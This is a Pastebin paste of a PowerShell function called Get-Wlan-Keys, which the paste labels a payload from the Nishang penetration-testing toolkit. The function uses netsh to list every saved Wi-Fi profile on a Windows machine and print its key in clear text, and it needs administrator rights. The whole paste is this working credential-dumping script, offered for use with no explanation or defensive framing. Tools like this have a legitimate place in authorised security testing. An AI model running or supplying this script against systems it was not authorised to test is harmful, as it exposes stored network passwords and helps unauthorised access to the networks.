Advertisement
Mhn

Untitled

Mhn
Apr 23rd, 2017
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function Get-Wlan-Keys
  2. {
  3. <#
  4. .SYNOPSIS
  5. Nishang Payload which dumps keys for WLAN profiles.
  6.  
  7. .DESCRIPTION
  8. This payload dumps keys in clear text for saved WLAN profiles.
  9. The payload must be run from as administrator to get the keys.
  10.  
  11. .EXAMPLE
  12. PS > Get-WLAN-Keys
  13.  
  14. .LINK
  15. http://poshcode.org/1700
  16. https://github.com/samratashok/nishang
  17. #>
  18.  
  19. [CmdletBinding()]
  20. Param ()
  21.  
  22.     $wlans = netsh wlan show profiles | Select-String -Pattern "All User Profile" | Foreach-Object {$_.ToString()}
  23.     $exportdata = $wlans | Foreach-Object {$_.Replace("    All User Profile     : ",$null)}
  24.     $exportdata | ForEach-Object {netsh wlan show profiles name="$_" key=clear}
  25.    
  26. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement